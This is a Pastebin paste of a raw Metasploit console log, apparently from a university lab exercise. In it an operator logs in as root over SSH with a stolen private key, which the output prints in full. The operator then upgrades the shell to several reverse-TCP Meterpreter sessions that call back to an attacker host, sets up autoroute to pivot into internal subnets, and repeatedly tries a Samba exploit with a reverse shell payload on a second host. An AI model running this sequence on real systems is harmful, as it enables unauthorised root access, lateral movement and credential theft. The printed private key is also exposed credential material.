Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- msf5 exploit(cgi/webapps/42084) > use auxiliary/scanner/ssh/ssh_login_pubkey
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > options
- Module options (auxiliary/scanner/ssh/ssh_login_pubkey):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
- DB_ALL_CREDS false no Try each user/password couple stored in the current database
- DB_ALL_PASS false no Add all passwords in the current database to the list
- DB_ALL_USERS false no Add all users in the current database to the list
- KEY_PASS no Passphrase for SSH private key(s)
- KEY_PATH yes Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped.
- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
- RPORT 22 yes The target port
- STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
- THREADS 1 yes The number of concurrent threads
- USERNAME no A specific username to authenticate as
- USER_FILE no File containing usernames, one per line
- VERBOSE true yes Whether to print output for all attempts
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set key_path /root/Documents/gibsonhack/ssh/buckeye/id_rsa.txt
- key_path => /root/Documents/gibsonhack/ssh/buckeye/id_rsa.txt
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set username root
- username => root
- smsf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set rhosts 10.0.6.233
- rhosts => 10.0.6.233
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > run
- [*] 10.0.6.233:22 SSH - Testing Cleartext Keys
- [*] 10.0.6.233:22 - Testing 1 keys from /root/Documents/gibsonhack/ssh/buckeye/id_rsa.txt
- [-] Could not connect: The connection timed out (10.0.6.233:22).
- [*] Scanned 1 of 1 hosts (100% complete)
- [*] Auxiliary module execution completed
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > options
- Module options (auxiliary/scanner/ssh/ssh_login_pubkey):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
- DB_ALL_CREDS false no Try each user/password couple stored in the current database
- DB_ALL_PASS false no Add all passwords in the current database to the list
- DB_ALL_USERS false no Add all users in the current database to the list
- KEY_PASS no Passphrase for SSH private key(s)
- KEY_PATH /root/Documents/gibsonhack/ssh/buckeye/id_rsa.txt yes Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped.
- RHOSTS 10.0.6.233 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
- RPORT 22 yes The target port
- STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
- THREADS 1 yes The number of concurrent threads
- USERNAME root no A specific username to authenticate as
- USER_FILE no File containing usernames, one per line
- VERBOSE true yes Whether to print output for all attempts
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set rport 52961
- rport => 52961
- rmsf5 auxiliary(scanner/ssh/ssh_login_pubkey) > run
- [*] 10.0.6.233:52961 SSH - Testing Cleartext Keys
- [*] 10.0.6.233:52961 - Testing 1 keys from /root/Documents/gibsonhack/ssh/buckeye/id_rsa.txt
- [+] 10.0.6.233:52961 - Success: 'root:-----BEGIN RSA PRIVATE KEY-----
- MIIEpAIBAAKCAQEAz1xc/jRqeDJ6lbVZ3DV5UJfYdngHenhZHP6hiMzQ1VgrGJZp
- c2pdzRMMWXiCpv5viXZjheztaTm684YnYM+0T47MCuFXVkD++TmZojdwehmFUsN4
- JDRlYjwLmIo/1LSXQZZXt7b0pXCFgFbxCAVsWGQnVIAzXkud+J1VNteKdDOTzycy
- KPQ7OKuqsoBNYiFWB/SYnyH/osSXec6NclrxL7RU408i60t7IgvUtyZgdqxp8zmY
- TyLjUz1aCMvgH5wrC2CPWphvQD2FXSkF6CYu2JSQ9vMRVD4QW+XZpY4mk1Jpg16M
- DtIoJ1J5LuNHitOrGh3fwYS1lCYsTlLWGL0eRQIDAQABAoIBAF2q90bNHpsVElK2
- DNVwQlCphtpc9ePYoUh7rTRCcMMuhKkiqJe+IIkWZam0yi/tFy0dEW/ZypSRw2Vl
- 4DvXFzgo5Pq1N+J6kbK61i90o5ZEGPl92rNgB7wMK6DIMnU+7mRuKUmPl4tz/Jow
- q8hXys1S0IFXN90Mg1telrOjQaOjKJZZTFB/vD1h/4JVdK2PEKDSLaHApgj+c2YR
- 6ocXexzZDB8DMogGtSm5hR/ODaOBuR9fZla89ukwXntLu0C+wSb7uBMVSVtH1Luk
- 0nNJEpgggeOJfe9R5z10OB1+vKgSR0WuLGLdGyrYovSP3jq24ijt8B3xpD++0jy/
- QVuZpoECgYEA4NV1Jwrh3yjPUbz+4pzN1OH2LbilAG02GTRKsRYDFvYY97dJh8hy
- 1LUPzzerijGzWhhxY95jcdXyp0OIUuxALbhY1PrtUq3qZGrsJ840es2zvI5TAfWn
- M1LPthtg7yFVt08reaKddOCirqAwLG769z3Sk1y9/zt53IQheVesp3kCgYEA7BrZ
- 1Vlkm6nEOwktyYVn/1VblOSiofDJo3xdAtm/tPgF5Hy54BSefoFVsEHHTYWggZyE
- A2hzx+k39BRIX0LWmCsbG0U63Q9A1JxfRDW5Vw3uD2sws82OH+dDIHJI8GhqNqYp
- KU/u2H7LES3/E2hQr/zyOGbWHtSd57Zk/KN/ni0CgYBpikoQJb+ZreKEEB/l6I2G
- nPuewspRxPJcKnvVXOveX2+g+Nz/bEzbJJNjRlKz8FistkSkCMTNrwzVD5Jyuov1
- 6k9oytGUuicJNFfe56Ei9GSm4nh8tv/hy8HNTlTWa+N8xSE3W+pl7vzu1CtI8F/G
- p7Ktkh9uLFEr/qpn94wIoQKBgQCbLeKySPjJHsFsk9HWO6potW9l4wfJK/s7SofP
- UdKgXMtyq093qdWqC9OH7xPRLdyak4ZovwQqBmzSLWqLweBNTzeXqt7PYDEaDFTI
- /g582xj2ZVszMg0RhuwlrTenWtlEZd1z26d9/4f0GKkn1k4B/VwuGdjtlozaOJUT
- P1qnWQKBgQDJYI3Xw70nXMCehrg5BEWm9pzXR5RqEJcJ2oLwfgokm9iMqWDO2BkZ
- Od7/OjbSZSUQoM5RRSQLjnhGVpvqwbjqu3Q/XV0P1kqEx51tISpJ+y5vdK6LE6y3
- pbMphePkSyy2CQ0U3x8NHIQXXRWXaJ4UBPlZiTQOQzv6s/7e2tBwuQ==
- -----END RSA PRIVATE KEY-----
- ' ''
- [*] Command shell session 1 opened (192.168.0.6:38981 -> 10.0.6.233:52961) at 2019-10-08 19:51:48 +0200
- [*] Scanned 1 of 1 hosts (100% complete)
- [*] Auxiliary module execution completed
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > sessions -u 1
- [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
- [!] SESSION may not be compatible with this module.
- [*] Upgrading session ID: 1
- [*] Starting exploit/multi/handler
- [*] Started reverse TCP handler on 192.168.0.6:4433
- [*] Sending stage (985320 bytes) to 10.0.6.233
- [*] Meterpreter session 2 opened (192.168.0.6:4433 -> 10.0.6.233:58620) at 2019-10-08 19:51:55 +0200
- [*] Sending stage (985320 bytes) to 10.0.6.233
- [*] Meterpreter session 3 opened (192.168.0.6:4433 -> 10.0.6.233:58622) at 2019-10-08 19:51:56 +0200
- [*] Sending stage (985320 bytes) to 10.0.6.233
- [*] Meterpreter session 4 opened (192.168.0.6:4433 -> 10.0.6.233:58624) at 2019-10-08 19:51:57 +0200
- [*] Sending stage (985320 bytes) to 10.0.6.233
- [*] Meterpreter session 5 opened (192.168.0.6:4433 -> 10.0.6.233:58638) at 2019-10-08 19:52:01 +0200
- [*] Command stager progress: 100.00% (773/773 bytes)
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) >
- [*] Stopping exploit/multi/handler
- sessions
- Active sessions
- ===============
- Id Name Type Information Connection
- -- ---- ---- ----------- ----------
- 1 shell unknown SSH root:d0:58:30:8f:7c:82:17:ed:4d:6c:85:cc:10:33:4a:09 (10.0.6.233:52961) 192.168.0.6:38981 -> 10.0.6.233:52961 (10.0.6.233)
- 2 meterpreter x86/linux 192.168.0.6:4433 -> 10.0.6.233:58620 (10.0.6.233)
- 3 meterpreter x86/linux 192.168.0.6:4433 -> 10.0.6.233:58622 (10.0.6.233)
- 4 meterpreter x86/linux 192.168.0.6:4433 -> 10.0.6.233:58624 (10.0.6.233)
- 5 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ en2720-w3-buckeye.c.en2720-2017.internal 192.168.0.6:4433 -> 10.0.6.233:58638 (10.0.6.233)
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > sessions 5
- [*] Starting interaction with 5...
- meterpreter > autoroute -h
- [-] Unknown command: autoroute.
- meterpreter > run autoroute -h
- [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
- [!] Example: run post/multi/manage/autoroute OPTION=value [...]
- [*] Usage: run autoroute [-r] -s subnet -n netmask
- [*] Examples:
- [*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
- [*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
- [*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
- [*] run autoroute -p # Print active routing table
- [*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
- [*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
- [-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
- meterpreter > run post/multi/manage/autoroute
- [!] SESSION may not be compatible with this module.
- [*] Running module against en2720-w3-buckeye.c.en2720-2017.internal
- [*] Searching for subnets to autoroute.
- [+] Route added to subnet 10.0.0.0/255.255.252.0 from host's routing table.
- [+] Route added to subnet 10.0.4.0/255.255.252.0 from host's routing table.
- [+] Route added to subnet 10.15.212.0/255.255.252.0 from host's routing table.
- [+] Route added to subnet 192.168.0.0/255.255.255.0 from host's routing table.
- meterpreter > background
- [*] Backgrounding session 5...
- msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > use exploit/cgi/webapps/42084
- msf5 exploit(cgi/webapps/42084) > options
- Module options (exploit/cgi/webapps/42084):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
- RPORT 445 yes The SMB service port (TCP)
- SMB_FOLDER no The directory to use within the writeable SMB share
- SMB_SHARE_BASE no The remote filesystem path correlating with the SMB share name
- SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
- Exploit target:
- Id Name
- -- ----
- 1 Linux x86_64
- msf5 exploit(cgi/webapps/42084) > [*] 10.0.6.233 - Meterpreter session 2 closed. Reason: Died
- [*] 10.0.6.233 - Meterpreter session 3 closed. Reason: Died
- [*] 10.0.6.233 - Meterpreter session 4 closed. Reason: Died
- options
- Module options (exploit/cgi/webapps/42084):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
- RPORT 445 yes The SMB service port (TCP)
- SMB_FOLDER no The directory to use within the writeable SMB share
- SMB_SHARE_BASE no The remote filesystem path correlating with the SMB share name
- SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
- Exploit target:
- Id Name
- -- ----
- 1 Linux x86_64
- msf5 exploit(cgi/webapps/42084) > set rhosts 10.0.6.233
- rhosts => 10�.0.6.233
- msf5 exploit(cgi/webapps/42084) > set rhosts 10.0.6.239
- rhosts => 10.0.6.239
- semsf5 exploit(cgi/webapps/42084) > run
- [-] 10.0.6.239:445 - Exploit failed: invalid address
- [*] Exploit completed, but no session was created.
- msf5 exploit(cgi/webapps/42084) > use post/multi/manage/autoroute
- msf5 post(multi/manage/autoroute) > options
- Module options (post/multi/manage/autoroute):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
- NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
- SESSION yes The session to run this module on.
- SUBNET no Subnet (IPv4, for example, 10.10.10.0)
- msf5 post(multi/manage/autoroute) > sessions
- Active sessions
- ===============
- Id Name Type Information Connection
- -- ---- ---- ----------- ----------
- 1 shell unknown SSH root:d0:58:30:8f:7c:82:17:ed:4d:6c:85:cc:10:33:4a:09 (10.0.6.233:52961) 192.168.0.6:38981 -> 10.0.6.233:52961 (10.0.6.233)
- 5 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ en2720-w3-buckeye.c.en2720-2017.internal 192.168.0.6:4433 -> 10.0.6.233:58638 (10.0.6.233)
- msf5 post(multi/manage/autoroute) > set session 5
- session => 5
- msf5 post(multi/manage/autoroute) > options
- Module options (post/multi/manage/autoroute):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
- NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
- SESSION 5 yes The session to run this module on.
- SUBNET no Subnet (IPv4, for example, 10.10.10.0)
- msf5 post(multi/manage/autoroute) > run
- [!] SESSION may not be compatible with this module.
- [*] Running module against en2720-w3-buckeye.c.en2720-2017.internal
- [*] Searching for subnets to autoroute.
- [*] Did not find any new subnets to add.
- [*] Post module execution completed
- msf5 post(multi/manage/autoroute) > sessions -5
- [-] Invalid session identifier: -5
- msf5 post(multi/manage/autoroute) > sessions 5
- [*] Starting interaction with 5...
- meterpreter > run autoroute -h
- [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
- [!] Example: run post/multi/manage/autoroute OPTION=value [...]
- [*] Usage: run autoroute [-r] -s subnet -n netmask
- [*] Examples:
- [*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
- [*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
- [*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
- [*] run autoroute -p # Print active routing table
- [*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
- [*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
- [-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
- meterpreter > run autoroute -D
- [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
- [!] Example: run post/multi/manage/autoroute OPTION=value [...]
- [*] Deleted all routes
- meterpreter > run autoroute -p
- [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
- [!] Example: run post/multi/manage/autoroute OPTION=value [...]
- [*] No routes have been added yet
- meterpreter > background
- [*] Backgrounding session 5...
- msf5 post(multi/manage/autoroute) > run
- [!] SESSION may not be compatible with this module.
- [*] Running module against en2720-w3-buckeye.c.en2720-2017.internal
- [*] Searching for subnets to autoroute.
- [+] Route added to subnet 10.0.0.0/255.255.252.0 from host's routing table.
- [+] Route added to subnet 10.0.4.0/255.255.252.0 from host's routing table.
- [+] Route added to subnet 10.15.212.0/255.255.252.0 from host's routing table.
- [+] Route added to subnet 192.168.0.0/255.255.255.0 from host's routing table.
- [*] Post module execution completed
- msf5 post(multi/manage/autoroute) > use exploit/cgi/webapps/42084
- msf5 exploit(cgi/webapps/42084) > options
- Module options (exploit/cgi/webapps/42084):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOSTS 10.0.6.239 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
- RPORT 445 yes The SMB service port (TCP)
- SMB_FOLDER no The directory to use within the writeable SMB share
- SMB_SHARE_BASE no The remote filesystem path correlating with the SMB share name
- SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
- Payload options (generic/shell_reverse_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- LHOST 192.168.0.6 yes The listen address (an interface may be specified)
- LPORT 4444 yes The listen port
- Exploit target:
- Id Name
- -- ----
- 1 Linux x86_64
- msf5 exploit(cgi/webapps/42084) > run
- [-] 10.0.6.239:445 - Exploit failed: invalid address
- [*] Exploit completed, but no session was created.
- msf5 exploit(cgi/webapps/42084) > set RHOSTS 10.0.6.239
- RHOSTS => 10.0.6.239
- msf5 exploit(cgi/webapps/42084) > run
- [-] 10.0.6.239:445 - Exploit failed: invalid address
- [*] Exploit completed, but no session was created.
- msf5 exploit(cgi/webapps/42084) > show options
- Module options (exploit/cgi/webapps/42084):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOSTS 10.0.6.239 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
- RPORT 445 yes The SMB service port (TCP)
- SMB_FOLDER no The directory to use within the writeable SMB share
- SMB_SHARE_BASE no The remote filesystem path correlating with the SMB share name
- SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
- Payload options (generic/shell_reverse_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- LHOST 192.168.0.6 yes The listen address (an interface may be specified)
- LPORT 4444 yes The listen port
- Exploit target:
- Id Name
- -- ----
- 1 Linux x86_64
- msf5 exploit(cgi/webapps/42084) > set payload ""
- [-] The value specified for payload is not valid.
- msf5 exploit(cgi/webapps/42084) > set payload
- payload => generic/shell_reverse_tcp
- msf5 exploit(cgi/webapps/42084) > show payloads
- Compatible Payloads
- ===================
- # Name Disclosure Date Rank Check Description
- - ---- --------------- ---- ----- -----------
- 0 generic/custom normal No Custom Payload
- 1 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
- 2 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
- 3 linux/x64/exec normal No Linux Execute Command
- 4 linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
- 5 linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
- 6 linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
- 7 linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
- 8 linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
- 9 linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
- 10 linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
- 11 linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
- 12 linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
- 13 linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
- 14 linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement